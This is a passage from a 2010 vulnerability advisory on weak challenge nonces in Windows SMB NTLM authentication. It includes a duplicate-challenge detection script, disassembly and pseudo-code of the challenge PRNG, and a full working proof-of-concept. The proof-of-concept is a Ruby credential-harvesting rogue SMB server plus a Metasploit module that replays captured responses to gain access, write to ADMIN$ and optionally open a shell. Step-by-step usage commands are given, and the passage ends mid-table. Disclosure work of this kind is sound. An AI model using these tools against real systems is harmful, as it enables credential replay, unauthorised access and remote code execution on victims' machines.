protocol is functionally equivalent to NTLMv1 for the purposes of this vulnerability and is also affected. + +6.2.The Flaws +---------------- + +Several flaws were found leading to attacks such as generation of duplicate challenges/nonces and challenge/nonce prediction. + +The randomness of the 8-byte challenges generated by the SMB server in response to an specific packet requesting authentication is bad enabling attackers to perform replay attacks. The SMB server easily generates duplicate 8-byte challenges. + +The challenge/nonce prediction attack is feasible due to several factors including that the protocol leaks information that can be used by an attacker to calculate the internal state of the PRNG used to generate challenges. + + +6.3.Detecting if the SMB service generates duplicate 8-byte challenges +----------------------------------------------------------------------- + +Detecting the generation of duplicate challenges can be verified remotely by repeatedly sending 'SMB Negotiate Protocol Request' packets to a Windows system with the 'Flags2' field set to 0xc001 (disabling security signatures, extended attributes and extended security negotiation) recording the 8-byte challenges obtained from the server and waiting for duplicates. + +The following Ruby script can be used to test for the presence of this vulnerability: + +====test2_ochoa_2010-0209.rb====: +# test2_ochoa-2010-0209.rb +# Windows SMB NTLM Authentication Weak Nonce Vulnerability detection script +# This script will run in an infinite loop looking for duplicate challenges displaying a message +# every time one is received. +# (c) 2010 Hernan Ochoa (hernan@ampliasecurity.com) + +require 'socket' + +chs = [] +attempts = 0 +host = "" +port = 445 +challenges_filename = "challenges.log" +duplicates_filename = "duplicates.log" + + + print "This script tests for the Windows SMB NTLM Authentication Weak Nonce Vulnerability\n" + print "(c) 2010 Hernan Ochoa (hernan@ampliasecurity.com)\n" + + if ARGV.size < 1 then + print "syntax: test2_ochoa-2010-0209.rb \n" + exit + end + + host = ARGV[0] + + print "Testing host " + host + "\n" + + neg_proto_packet_1 = + "00000054" + + "ff534d4272000000001801c00000000000000000000000000000866100005480003100024c414e4d414e312e3000024c4d312e325830303200024e54204c414e4d414e20312e3000024e54204c4d20302e313200" + + + if File.file?( challenges_filename ) then + File.delete( challenges_filename ) + end + + if File.file?( duplicates_filename ) then + File.delete( duplicates_filename ) + end + +loop do + so = TCPSocket.open(host, port) + attempts = attempts + 1 + + n = neg_proto_packet_1.scan(/../).map { |s| s.to_i(16) } + j = n.pack("C*") + so.write(j) + resp = so.recvfrom(2000) + + j = resp.to_s[0x49..0x49+7] + vuelta = j + + + test = j.unpack("C*").map { |v| ("%.2x" % (v)).chomp } + challenge = test.to_s + + so.close + + File.open( challenges_filename , "a" ) { |f| f.write(challenge+"\n") } + + if chs.include? challenge + puts "duplicate found!\a\a\a\a\a\a\a\a\a\a\a\a\n" + ndx = chs.index(challenge) + print "request #" + attempts.to_s + ", challenge=" + challenge + "\n" + print "request #" + (ndx+1).to_s + ", challenge=" + chs[ndx] + "\n" + File.open( duplicates_filename , "a") { |f| f.write(challenge+"\n") } + end + + chs.push(challenge) + +end + + +6.4.Exploiting duplicate challenges +-------------------------------------- + +There are different ways to exploit duplicate challenges, including: + + (i) An attacker A can eavesdrop network traffic looking for NTLM authentication messages exchanged between client C and server S ('SMB Negotiate Protocol Requests' packets and 'SMB Negotiate Protocol Responses' packets), storing challenges and their corresponding responses. The attacker A can then perform several authentication requests to server S until S returns a previously observed challenge (a duplicate).At that point attacker A will send the corresponding and previously recorded response. + + We did not find so far any current Windows version (XP,Vista,7,etc) that by default or using some specific configuration, when acting as an SMB client, would generate the necessary 'SMB Negotiate Protocol Request' packets with the correct values in the 'Flags2' field to trigger the vulnerability when accessing a remote SMB service. Hence we were unable to collect duplicate challenges only by network sniffing. + + Tests were performed with the third-party SMB client 'smbclient' from the SAMBA project with the same negative results (tests were not exhaustive). + + Since this problem was also found on Windows versions as old as Windows NT4, this scenario might still be possible. + + (ii) An attacker A connects to system S and sends mutiple 'SMB Negotiate Protocol Request' packets with the 'Flags2' field set to 0xc001 to obtain several challenges, and stores them. The attacker A then forces a user U on system S to connect to his own specially crafted SMB server, for example by sending an email with multiple tags with UNC links (e.g.: ) or a link to web server with similar tags. Upon receiving the connections from system S,the attacker's SMB server will respond with the previously obtained challenges and will store the corresponding responses returned by the remote system. Attacker A has now a set of responses which are the challenges encrypted with user's U credentials. + Finally, the attacker A will perform several authentication requests to system S until it returns one of the challenges obtained at the beginning of this attack, and at that point he will replay the corresponding and previously obtained response to gain access to system S as user U. + + If user U has, for example, local administrator privileges on system S (not uncommon for Windows XP users, for example), remote code execution is possible via DCE/RPC over SMB. Even if user U has no administrator privileges attacker A can still access, for example, file shares accessible by user U and read/modify information. + + Tests performed showed that challenges and responses obtained from a system S can be reused multiple times against that same system and other remote systems. We observed that challenges obtained from a system S were also returned by other remote systems. This means that attacker A only needs, in the best case scenario, to force user U to connect to his own specially crafted SMB server once. Of course, user U must have access (his credentials must be valid) to the other systems attacked. + + This attack needs the victim to have port 445/tcp open and the attacker to be able to access that port. The victim also needs to be able to access port 445/tcp on the attacker's server (only once, to record responses. Subsequent attacks do not need the victim to access the attacker's system). + + This simple attack using a 'brute-force' approach to find duplicate challenges proved to be acceptably effective. + + +6.4.1.Proof-of-Concept Exploit +-------------------------------- + +The exploit implementation is twofolded: + + (i) setup_smb_weak_nonce.rb + + This standalone Ruby script performs several connections to the victim sending 'SMB Negotiate Protocol Request' packets to obtain 8000 challenges (the number of challenges to be obtained can be changed). + After collecting 8000 challenges, it will listen on port 445/tcp for incoming SMB connections originated by the victim. For every connection received, it will send to the victim one of the previously obtained challenges and will store the corresponding response obtained. + As a simple example of a method to force the victim to connect to the attacker, the file 'conn.html' is provided. This is a very simple HTML file with javascript code that will generate 1000 tags with an UNC link to different image files. + The challenges and responses obtained are saved to the file 'fullcreds.log'. + + (ii) msf_smb_weak_nonce.rb + + This metasploit module will perform connections to the victim until the server responds with one of the duplicate challenges stored in 'fullcreds.log'. The module will then send the corresponding response to gain access to the victim's SMB service. + Finally, after successful exploitation, the module will create the file 'owned.txt' in the ADMIN$ share (c:\windows) with the following text: "Windows SMB NTLM Authentication weak nonce vulnerability successfully exploited!". + This module can be easily modified to execute code on the remote system (given the target user has enough privileges). + +To exploit the vulnerability repeat the following steps: + + 1. copy msf_smb_weak_nonce.rb to /modules/exploits/windows/smb + 2. Run setup_smb_weak_nonce.rb specifying the IP of the victim (e.g.: ruby setup_smb_weak_nonce.rb 192.168.10.1). After collecting the nonces the script will listen on port 445 for incoming SMB connections. + 3. Run Internet Explorer and load 'conn.html'. This will produce 1000+ connections to the SMB server implemented by setup_smb_weak_noce.rb. + + (Note 1: setup_smb_weak_nonce.rb needs to be run as root to be able to listen on port 445/tcp) + (Note 2: If you load 'conn.html' with Internet Explorer and 'conn.html' is stored on a local drive (e.g.:c:\conn.html) it is possible Internet Explorer will prompt you to allow execution of the javascript code within 'conn.html'. This is not a limitation of the attack, it is just an extra protection implemented by Internet Explorer, the 'conn.html' does not even need to contain javascript code, it uses it just because it is convenient, you could just as easily 'hard-code' all tags. Also, loading the html file from the a local disk is not a real attack scenario, all of this is for demonstration purposes). + + 4.After 1000 connections are received by setup_smb_weak_nonce.rb the script will terminate. The file 'fullcreds.log' will be generated. Copy 'fullcreds.log' to /tmp. + 5. run metasploit (msfconsole) and execute the following commands: + -use windows/smb/msf_smb_weak_nonce + -set RHOST + for example: set RHOST 192.168.10.1 + -set payload windows/shell/bind_tcp + -exploit + + The metasploit module looks for 'fullcreds.log' in '/tmp' by default. You can specify the location of the 'fullcreds.log' file using the following command: + + -set CREDSFILE + + for example: + -set CREDSFILE /mydir/fullcreds.log + + + 6.the metasploit module will start performing connections to the victim until receiving a duplicate challenge for which there's a response in the 'fullcreds.log' file. After successfully authenticating to the victim, the script will create the file 'owned.txt' in c:\windows via the ADMIN$ share (given the user exploited has enough privileges). + + Please remember that this proof-of-concept exploit requires the targer user to have enough privileges (e.g.: local administrator) to access the ADMIN$ share remotely. However, the target user does need to have this privilege level in order for the attacker to exploit the vulnerability. For example: if the target user only has regular user privileges, an attacker can access the file shares that user has access to. Also, exploiting the vulnerabiliy and the level of access obtained are two different things. + + This is just a proof-of-concept exploit, it can be improved and optimized. + + +Next are all the previously mentioned files part of the proof-of-concept exploit: + +=====setup_smb_weak_nonce.rb======: + +# Windows SMB NTLM Authentication Weak Nonce Vulnerability +# (c) 2010 Hernan Ochoa (hernan@ampliasecurity.com) +# This script can be used to connect to the victim to obtain weak nonces +# and then waiting for connections from the victim to have it encrypt those weak nonces for us +# The victim can be 'forced' to connect to this server using several methods, as an example +# you can take a look at the conn.html file which creates an HTML document with several tags +# that connect to this server. +# The weak nonces, encrypted nonces, username and domainname are stored in the file fullcreds.log +# to then be used with the msf_smb_weak_nonce.rb metasploit module for exploitation + +require 'socket' +require 'time' + + +def collectnonces(host, port, num) + + count = 1 + nonces = [] + nonces_filename = "nonces.log" + f = 0 + + if File.file?( nonces_filename ) then + File.delete( nonces_filename ) + end + + + while 1 == 1 : + + neg_proto_packet_1 = + "00000054" + + "ff534d4272000000001801c00000000000000000000000000000866100005480003100024c414e4d414e312e3000024c4d312e325830303200024e54204c414e4d414e20312e3000024e54204c4d20302e313200" + + #so = nil + so = TCPSocket.open(host, port) + + n = neg_proto_packet_1.scan(/../).map { |s| s.to_i(16) } + j = n.pack("C*") + so.write(j) + resp, x = so.recvfrom(2000) + + j = resp[0x49..0x49+7] + test = j.unpack("C*").map { |v| ("%.2x" % (v)).chomp } + #puts "\r" + test.to_s + " " + + #so.close + + #sleep(0.1) + f = 1 + nonces.each do |hay| + if hay == test.to_s + print "duplicate! (#" + count.to_s + ", #" + f.to_s + ")\a\a\a\a\a\a\a\a\a\a\a\a\n" + end + f = f + 1 + end + + nonces << test.to_s + + challenge = (test.to_s + "\n").to_s + File.open(nonces_filename, 'a') { |f| f.write(challenge) } + count = count + 1 + print "\r# of nonces obtained: " + count.to_s + " " + + # if count % 100 == 0 + # sleep(1) + # end + + if count == (num+1) + print "\n" + return + end + + end +end + +# from metasploit... +# framework-3.2/lib/rex/proto/smb/utils.rb +def time_unix_to_smb(unix_time) + t64 = (unix_time + 11644473600) * 10000000 + thi = (t64 & 0xffffffff00000000) >> 32 + tlo = (t64 & 0x00000000ffffffff) + return [thi, tlo] +end + +def waitforcreds(thenonces, num) + + nonces_ndx = 0 + conn_num = 0 + maxn = num + + + neg_proto_response_1 = + "00000051" + # NetBIOS Session Service header + "ff534d4272000000008801c00000000000000000000000000000fffe00000000" + # SMB Header + "1105000302000100041100000000010000000000fde30000007632d28015ca010000080c00e486962656d5869400000000" # Negotiate Protocol Response + + session_setupandx_access_denied = + "00000023" + # NetBIOS Session Service Header + "ff534d4273220000c08801c00000000000000000000000000000fffe00000400000000" + # SMB Header + "000000" # Session and SetupX Response payload + + + creds_filename = "fullcreds.log" + + if File.file?( creds_filename ) then + File.delete( creds_filename ) + end + + + server = TCPServer.open(445) + loop { + + if conn_num > maxn + Thread.exit + return + end + + Thread.start(server.accept) do |client| + + conn_num = conn_num + 1 + if conn_num > maxn + puts "done!" + client.close() + server.shutdown + Thread.exit + return + end + puts conn_num + + + # (1) receive Negotiate Protocol Request + + q, x = client.recvfrom(2000) + puts "neg proto request received" + pid1 = q[0x1e] + pid2 = q[0x1f] + multi1 = q[0x1e+4] + multi2 = q[0x1f+4] + + # (2) send Negotiate Protocol Response + + # set challenge in response packet + puts thenonces[nonces_ndx].to_s + neg_proto_response_1[146..146+15] = thenonces[nonces_ndx].chomp + # TODO: SET CORRECT TIME + timehi, timelo = time_unix_to_smb(Time.now.to_i) + # send packet + n = neg_proto_response_1.scan(/../).map { |s| s.to_i(16) } + # set process id + #puts pid1 + #puts pid2 + #puts multi1 + #puts multi2 + n[0x1e] = pid1 + n[0x1f] = pid2 + n[0x1e+4] = multi1 + n[0x1f+4] = multi2 + + s = ("%.8x" % timelo) + ss = s[6].chr + s[7].chr + s[4].chr + s[5].chr + s[2].chr + s[3].chr + s[0].chr + s[1].chr + + dlo = (ss.scan(/../)).map { |s| s.to_i(16) } + + s = ("%.8x" % timehi) + ss = s[6].chr + s[7].chr + s[4].chr + s[5].chr + s[2].chr + s[3].chr + s[0].chr + s[1].chr + + dhi = (ss.scan(/../)).map { |s| s.to_i(16) } + + n[0x3c..0x3c+3] = dlo + n[0x40..0x40+3] = dhi + + # timezone = 0 + #n[0x45] = 0 + #n[0x46] = 0 + j = n.pack("C*") + client.write(j) + puts "neg proto response sent" + + # (3) Receive Session Setup andX Request + q, x = client.recvfrom(4000) + puts "session setup andx request received!" + pid1 = q[0x1e] + pid2 = q[0x1f] + multi1 = q[0x1e+4] + multi2 = q[0x1f+4] + + # we assume the first request is anonymous + # and we send back an Error: STATUS_ACCESS_DENIED + n = session_setupandx_access_denied.scan(/../).map { |s| s.to_i(16) } + n[0x1e] = pid1 + n[0x1f] = pid2 + n[0x1e+4] = multi1 + n[0x1f+4] = multi2 + #n[0x44/2] = pid1multi1 + #n[0x45/2] = multi2 + #n[0x3c/2] = pid1 + #n[0x3d/2] = pid2 + #puts n + + begin + j = n.pack("C*") + rescue + puts $! + end + + client.write(j) + puts "session setupandx access denied sent!" + + # (4) Receive Session Setup andX Request with creds + q, x = client.recvfrom(4000) + puts "session setup andx request with creds received!" + + # Get the ANSI Password + ansi_pwd = q[0x41..0x41+23] + ansi_pwd_s = (ansi_pwd.unpack("C*").map { |v| ("%.2x" % (v)).chomp }).to_s + puts ansi_pwd_s + + # Get the Unicode Password + unicode_pwd = q[0x59..0x59+23] + unicode_pwd_s = (unicode_pwd.unpack("C*").map { |v| ("%.2x" % (v)).chomp }).to_s + puts unicode_pwd_s + + # Get the username (0x71) + i = 0 + v = 0 + username = "" + while v == 0 + if q[0x71+i] == 0 and q[0x71+i+1] == 0 + v = 1 + end + if q[0x71+i] != 0 + username = username + q[0x71+i].chr + end + i = i + 1 + end + + i = 0x71 + i + 1 + domain = "" + v = 0 + k = 0 + while v == 0: + if q[i+k] == 0 and q[i+k+1] == 0 + v = 1 + end + if q[i+k] != 0 + domain = domain + q[i+k].chr + end + k = k + 1 + end + + puts username + puts domain + + File.open(creds_filename, "a") { |f| f.write( thenonces[nonces_ndx].to_s + "," + ansi_pwd_s + "," + unicode_pwd_s + "," + username + "," + domain + "\n") } + + client.close + nonces_ndx = nonces_ndx + 1 + + end + } + +end + +def savecreds(num) + + nonces = [] + nonces_filename = "nonces.log" + + # load nonces to send to victim + data = "" + File.open(nonces_filename, 'r') { |f| data = f.read() } + nonces = data.split(/\n/) + + # wait for victim to encrypt the nonces + waitforcreds(nonces, num) + +end + + + +# MAIN + + print "Windows SMB NTLM Authentication weak nonce Vulnerability" + print "\n(c) 2010 Hernan Ochoa (hernan@ampliasecurity.com)\n" + + if ARGV.size < 1 then + print "syntax: setup_smb_weak_nonce.rb \n" + exit + end + + + host = ARGV[0] + port = 445 + nonces_count = 8000 + + if ARGV.size >= 2 then + nonces_count = ARGV[1].to_i + end + + + # gather nonces by connecting to victim + # nonces are saved to 'nonces.log' + # 100 = number of nonces to collect + puts "collecting nonces..." + collectnonces(host, port, nonces_count) + puts "done collecting nonces.." + + # now, we expect connections from the victim + # so we can use those connections to have the victim + # encrypt the nonces with the hases of his/her password + #the connections can be forced by + #using the classic technique of sending an email + #with link to a web page, a web page that may contain html tags like + # + # for each tag the victim will initiate 4 connections (it retries automatically..) + # so that's good for an attacker, lowers the number of + # connections it needs to force from the victim + + puts "waiting for connections from victim" + savecreds(1000) + + +====msf_smb_weak_nonce.rb====: +# Windows SMB NTLM Authentication Weak Nonce Vulnerability +# (c) 2010 Hernan Ochoa (hernan@ampliasecurity.com) +# This metasploit module takes the file 'fullcreds.log' and performs connections +# to a SMB server on port 445 until it returns a nonce found in 'fullcreds.log' +# It then sends the corresponding response and gains access. +## +## + + +=begin +=end + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + + include Msf::Exploit::Remote::DCERPC + include Msf::Exploit::Remote::SMB + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Windows SMB NTLM Authentication weak nonce exploit', + 'Description' => %q{ + This module exploits the Windows SMB NTLM Authentication weak nonce vulnerability by Hernan Ochoa (hernan@ampliasecurity.com) + }, + 'Author' => + [ + 'Hernan Ochoa (hernan@ampliasecurity.com)' + ], + 'License' => '', + 'Version' => '1', + 'Privileged' => true, + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread' + }, + 'Payload' => + { + 'Space' => 8192, + 'DisableNops' => true, + 'StackAdjustment' => -3500, + }, + 'References' => + [ + [ 'URL', 'http://www.hexale.org' ], + [ 'URL', 'http://hexale.blogspot.com'] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', { } ], + ], + 'DisclosureDate' => 'Feb 09 2010', + 'DefaultTarget' => 0 )) + + register_options( + [ + #OptAddress.new('SMBHOST', [ false, "The target SMB server (leave empty for originating system)"]), + OptString.new('CREDSFILE', [true, "The file with the weak nonces and encrypted nonces created by setup_smb_weak_nonce.rb", "/tmp/fullcreds.log"]) + ], self.class ) + end + + + def exploit + + print "Windows SMB NTLM Authentication weak nonce Vulnerability exploit (c) 2010 Hernan Ochoa (hernan@ampliasecurity.com)\n" + found = 0 + # load nonces to wait from victim + nonces = [] + data = "" + creds_filename = datastore["credsfile"] + File.open(creds_filename, 'r') { |f| data = f.read() } + lines = data.split(/\n/) + creds = lines.map { |i| i.split(/,/) } + print "target user: " + creds[0][3] + "\n" + target_domain = creds[0][4] + print "target domain: " + target_domain + "\n" + + target_host = datastore['RHOST'] + + attempts = 0 + rsock = nil + rport = nil + + print "connecting to " + target_host + " and waiting for duplicate challenges...\n" + + while found == 0 + attempts = attempts + 1 + print "\rattempt/connection # " + attempts.to_s + " " + #if attempts % 100 + # sleep(1) + #end + [445].each do |rport| + begin + #rport = 445 + #begin + rsock = Rex::Socket::Tcp.create( + 'PeerHost' => target_host, + 'PeerPort' => rport, + 'Timeout' => 3, + 'Context' => + { + 'Msf' => framework, + 'MsfExploit' => self, + } + ) + + break if rsock + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("Error connecting to #{target_host}:#{rport} #{e.class} #{e.to_s}") + end + end + + + rclient = Rex::Proto::SMB::SimpleClient.new(rsock, rport == 445 ? true : false) + + begin + rclient.login_split_start_ntlm1(target_domain) + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("Could not negotiate NTLMv1 with #{target_host}:#{rport} #{e.class} #{e.to_s}") + raise e + end + + if (not rclient.client.challenge_key) + print_error("No challenge key received from #{target_host}:#{rport}") + rsock.close + end + + #puts "challenged received from target after we connected to it!" + #puts rclient.client.challenge_key.class + + j = rclient.client.challenge_key + enckey = j.unpack("C*").map { |v| ("%.2x" % (v)).chomp } + #puts enckey.to_s + ndx = 0 + creds.each do |item| + if found == 0 + if item[0].to_s == enckey.to_s + print "\nsaved nonce: " + item[0] + "\n" + print "nonce obtained from server: " + enckey.to_s + "\n" + puts "duplicate received!\a\a\a\a\a\a\a\a\a\a\a\a" + found = ndx + end + end + ndx = ndx + 1 + end + + #found = 1 + if found == 0 + #rsock.close + end + + end + + puts "nonce index #{found}" + #apwd = creds[found][1].scan(/../).map { |s| s.to_i(16) } + #upwd = creds[found][2].scan(/../).map { |s| s.to_i(16) } + apwd = creds[found][1] + upwd = creds[found][2] + username = creds[found][3] + domain = creds[found][4] + puts apwd.to_s + puts upwd.to_s + puts username + puts domain + + begin + res = rclient.login_split_next_ntlm1( + username, + domain, + [ apwd.to_s].pack("H*"), + [ upwd.to_s].pack("H*") + #[ (lm_hash ? lm_hash : "00" * 24) ].pack("H*"), + #[ (nt_hash ? nt_hash : "00" * 24) ].pack("H*") + ) + rescue XCEPT::LoginError + puts "error" + end + + if (res) + print_status("AUTHENTICATED as #{username}\\#{domain}...") + else + print_status("Failed to authenticate as #{username}\\#{domain}...") + end + + puts "connecting to ADMIN$..." + rclient.connect("ADMIN$") + fd = rclient.open("\\owned.txt", 'rwct') + fd << "Windows SMB NTLM Authentication weak nonce vulnerability successfully exploited!\r\n" + fd.close + puts "file created" + + + rsock.close + return + end + + +end + +====conn.html====: + + +Windows SMB NTLM Authentication weak nonce Vulnerability by Hernan Ochoa + + + + + + + + +6.5.Predicting challenges + + The challenge/nonce prediction attack is feasible due to several factors including that the protocol leaks information that can be used by an attacker to calculate the internal state of the PRNG used to generate challenges. + In order to explain the attack implemented next we begin by explaining the method used by the Windows SMB service to generate challenges. + +6.5.1.SMB service: challenge generation process + + (Note: during this explanation we are going to use the code for the Windows XP version of all modules mentioned. The code is the same in all platforms with some minor differences for some platforms but these differences do not produce a different behaviour). + The function that generates the challenges returned in 'SMB Negotiate Protocol Response' packets is srv.sys!GetEncryptionKey(): + + It takes the current time, and adds to the low part of the current time the value of the + global variable _EncryptionKeyCount. + + 00040735 lea eax, [ebp+CurrentTime] + 00040738 push eax + 00040739 call ds:__imp__KeQuerySystemTime@4 + 0004073F mov eax, _EncryptionKeyCount + 00040744 add dword ptr [ebp+CurrentTime], eax + + + Increments _EncryptionKeyCount by 0x100 and makes some 'calculations' + with the (current time.lowpart + _EncryptionKeyCount) resulting in a DWORD value with the + following 'pattern': + + where CT = (current time.lowpart + _EncryptionKeyCount) + + seed = CT[1], CT[2]-1, CT[2], CT[1]+1; + + + 00040747 movzx ecx, byte ptr [ebp+CurrentTime+1] + 0004074B movzx eax, byte ptr [ebp+CurrentTime+2] + 0004074F add _EncryptionKeyCount, 100h + 00040759 mov edx, ecx + 0004075B shl edx, 8 + 0004075E lea esi, [eax-1] + 00040761 or edx, esi + 00040763 mov esi, ds:__imp__RtlRandom@4 + 00040769 shl edx, 8 + 0004076C or edx, eax + 0004076E shl edx, 8 + 00040771 inc ecx + 00040772 lea eax, [ebp+Seed] + 00040775 or edx, ecx + + Then it calls the ntoskrnl.exe!RtlRandom(&seed) function three times, using + as a 'seed' the value with the pattern shown above. Each call to ntosrnkl.exe!RtlRandom(&seed) + returns in 'seed' a different value (meaning each call does not use the same value as a 'seed'). + + 00040777 push eax + 00040778 mov [ebp+Seed], edx + 0004077B call esi ; RtlRandom(x) + 0004077D mov [ebp+var_18], eax + 00040780 lea eax, [ebp+Seed] + 00040783 push eax + 00040784 call esi ; RtlRandom(x) + 00040786 mov ebx, eax + 00040788 lea eax, [ebp+Seed] + 0004078B push eax ; Seed + 0004078C call esi ; RtlRandom(x) + + The calls to ntoskrnl.exe!RtlRandom(&seed) generate 3 'random' numbers. + Based on the value of random_number3, random_number1 and random_number2 are + modified: + + 0004078E test al, 1 + 00040790 mov ecx, 80000000h + 00040795 jz short loc_4079A + 00040797 or [ebp+var_18], ecx + 0004079A + 0004079A loc_4079A: + 0004079A test al, 2 + 0004079C jz short loc_407A0 + 0004079E or ebx, ecx + 000407A0 + 000407A0 loc_407A0: + + Finally, the code returns the challenge in the form bytes(random_number1, random_number2) + + 000407A0 mov eax, [ebp+var_18] + 000407A3 mov ecx, [ebp+var_4] + 000407A6 mov [edi+4], ebx + 000407A9 mov [edi], eax + 000407AB pop edi + 000407AC pop esi + 000407AD pop ebx + 000407AE call @__security_check_cookie@4 + 000407B3 leave + 000407B4 retn 4 + + Next is pseudo-code for the function srv.sys!GetEncryptionKey(): + + + // Global Variable + DWORD _EncryptionKeyCount = 0; + + srv.sys!GetEncryptionKey(byte OUT *pChallenge) + { + LARGE_INTEGER currentTime; + DWORD seed; + DWORD random_number1, random_number2, random_number3; + + + KeQuerySystemTime(&CurrentTime); + CurrentTime.LowPart += _EncryptionKeyCount; + + _EncryptionKeyCount += 0x100; + + CT = CurrentTime.LowPart; + + seed = CT[1], CT[2]-1, CT[2], CT[1]+1; + + random_number1 = ntoskrnl.exe!RtlRandom(&seed); + random_number2 = ntoskrnl.exe!RtlRnadom(&seed); + random_number3 = ntoskrnl.exe!RtlRandom(&seed); + + + if ( (random_number3 & 1) == 1) { + random_number1 |= 0x80000000 + } + + if( (random_number3 & 2) == 2 ) { + random_number2 |= 0x80000000 + } + + *pChallenge = bytes(random_number1, random_number2); + } + + The code for ntoskrnl.exe!RtlRandom(&seed) is the following: + + It receives the seed and performs the following calculations: + + X0 = *seed; + X1 = (a*X0 + b ) mod m + where: + a = 0x7FFFFFED + b = 0x7FFFFFC3 + m = 0x7FFFFFFF + + 004B5B75 mov edi, edi + 004B5B77 push ebp + 004B5B78 mov ebp, esp + 004B5B7A push ebx + 004B5B7B push esi + 004B5B7C mov esi, [ebp+Seed] + 004B5B7F mov eax, [esi] + 004B5B81 imul eax, 7FFFFFEDh + 004B5B87 push edi + 004B5B88 mov ecx, 7FFFFFC3h + 004B5B8D add eax, ecx + 004B5B8F mov edi, 7FFFFFFFh + 004B5B94 xor edx, edx + 004B5B96 mov ebx, edi + 004B5B98 div ebx + + With the X1 value performs similar calculations: + + X2 = (a*X1 + b) mod m + + 004B5B9A mov ebx, edx + 004B5B9C mov eax, edx + 004B5B9E imul eax, 7FFFFFEDh + 004B5BA4 add eax, ecx + 004B5BA6 xor edx, edx + 004B5BA8 div edi + + It sets the value of seed to X2 + + 004B5BAA pop edi + 004B5BAB mov [esi], edx + + it calculates (X2 & 0x7F) to generate an index for the _RtlpRandomConstantVector + + 004B5BAD and edx, 7Fh + 004B5BB0 lea ecx, _RtlpRandomConstantVector[edx*4] + + and finally fetches the value found at the previously calculated index, and also + stores the value of X1 in that position. + + 004B5BB7 mov eax, [ecx] + 004B5BB9 pop esi + 004B5BBA mov [ecx], ebx + + + Next is pseudo-code for the function ntoskrnl.exe!RtlRandom: + + // Global variable + DWORD ntoskrnl.exe!RtlpRandomConstantVector [128] = {...} + + DWORD ntoskrnl.exe!RtlRandom(DWORD *pseed) + { + DWORD a = 0x7FFFFFED; + DWORD b = 0x7FFFFFC3; + DWORD m = 0x7FFFFFFF; + DWORD X0, X1, X2; + + X0 = *pseed; + X1 = ( a*X0 + b ) mod m + X2 = ( a*X1 + b ) mod m + *pseed = X2; + ndx = X2 & 0x7F; + n = RtlpRandomConstantVector[ndx]; + RtlpRandomConstantVector[ndx] = X1; + return n; + } + + In Summary, + + The srv.sys!GetEncryptionKey() does the following: + - Gets current time, takes the low part (4 bytes) and adds the value of _EncryptionKeyCount (4-bytes) + - Increments _EncryptionKeyCount by 0x100 + - Takes the two 'middle' bytes of CT=(current time.lowpart + _EncryptionKeyCount) and creates +a seed with the form CT[1], CT[2]-1, CT[2], CT[1]+1. + - Calls ntoskrnl.exe!RtlRandom three times and obtains three random numbers (random1,random2,random3) + - Depending on the value of random3, makes some modifications to random1 and random2 + - creates the challenge by creating an array of bytes in the form random1, random2 + + The ntoskrnl.exe!RtlRandom function appears to be a Maclaren-Marsaglia PRNG algorithm using two LCGs (linear congruential generators) [4] with a vector of 128 bytes. + + We know the following facts: + + - _EncryptionKeyCount starts with a value of 0 + - _EncryptionKeyCount is only modified by srv.sys!GetEncryptionKey. The code that calls srv.sys!GetEncryptionKey() is not regularly triggered, but only when the SMB service receives a packet like the one we use with the 'flags2' field set to 0xc001 + - We have not observed 'modern' Windows systems (Windows XP SP3, Vista, 7, etc) generate these kind of packets + - This allows us to expect that before start conducting an attack against any 'modern' Windows system, _EncryptionKeyCount will always be 0; by keeping count of the number of packets we send, we can also calculate the value of _EncryptionKeyCount for further connections + - Interestingly enough, in our tests, the value of Current Time used by srv.sys!GetEncryptionKey to generate the seed was the same value returned by the SMB service to the client in the field 'System Time' of an 'SMB Negotiate Protocol Response' packet + - The initial state of the vector used by ntoskrnl.exe!RtlRandom is hard-coded, but it is modified every time the function is called and it is called every time a new process is created (modifications might not be that many). + + Based on these facts we implemented the following attack to predict challenges: + + - We set the vector used by ntoskrnl.exe!RtlRandom to a 'known state' + -To do this we send multiple 'SMB Negotiate Protocol Request' packets with the 'flags2' field set to 0xc001 to trigger srv.sys!GetEncryptionKey which in turns calls ntoskrnl.exe!RtlRandom modifying its internal vector (~300 packets) + -Since we know the seed used by the server to perform the previous actions, because it is in the 'System Time' field of the 'SMB Negotiate Protocol Response' packet we receive, and we also know all the other variables including the value of _EncryptionKeyCount, we can do the same calculations updating our own vector + -We repeat this process until all 128 values of our vector are calculated. At this point we know the state of the table on the remote system, we know all of its values and their position within the vector. + + + - We calculate all possible challenges that can be generated with that 'known state' next time srv.sys!GetEncryptionKey is called + - We force the victim to connect to our specially crafted SMB server to get all those challenges encrypted with the credentials of the victim (an average of ~16000 to ~48000 possible challenges) + - At this point we know that if we send another authentication request to the victim the challenge returned will be one of the pre-calculated challenges. We make the connection, get the challenge, look for the corresponding response we obtained from the victim, and authenticate to the SMB service. + +6.5.2.Proof-of-Concept Exploit +------------------------------ + +Next are the necessary steps to perform the attack: + + - Run predictor.rb against the victim. E.g.: ruby predictor.rb 192.168.1.110 + This script will show the progress of 'setting' the values of the victims RtlRandom's internal vector. + It will display something like this: + + (0x00-0x04) 0x00000000 0x00000000 0x00000000 0x2948d15b + (0x04-0x08) 0x72f4dda5 0x00000000 0x14dbf86f 0x00000000 + (0x08-0x0c) 0x00000000 0x62d2c31e 0x00000000 0x7ef9db03 + (0x0c-0x10) 0x00000000 0x0dfdee4d 0x00000000 0x0ecd0d97 + (0x10-0x14) 0x00000000 0x04d986e1 0x00000000 0x00000000 + (0x14-0x18) 0x00000000 0x35fdf275 0x00000000 0x00000000 + (0x18-0x1c) 0x00000000 0x47b6b289 0x00000000 0x00000000 + (0x1c-0x20) 0x5b9a7eb8 0x00000000 0x00000000 0x3b150ecc + (0x20-0x24) 0x146909b1 0x7a3022b1 0x00000000 0x00000000 + (0x24-0x28) 0x23bfb6e0 0x00000000 0x00000000 0x0e5c7c0f + (0x28-0x2c) 0x3f027a59 0x00000000 0x00000000 0x00000000 + (0x2c-0x30) 0x00000000 0x00000000 0x6a3158d2 0x00000000 + (0x30-0x34) 0x69d97001 0x2cd5c5e6 0x00000000 0x2cdcb5b0 + (0x34-0x38) 0x00000000 0x00000000 0x00000000 0x00000000 + (0x38-0x3c) 0x00000000 0x00000000 0x00000000 0x00000000 + (0x3c-0x40) 0x08deca3d 0x4954003d 0x00000000 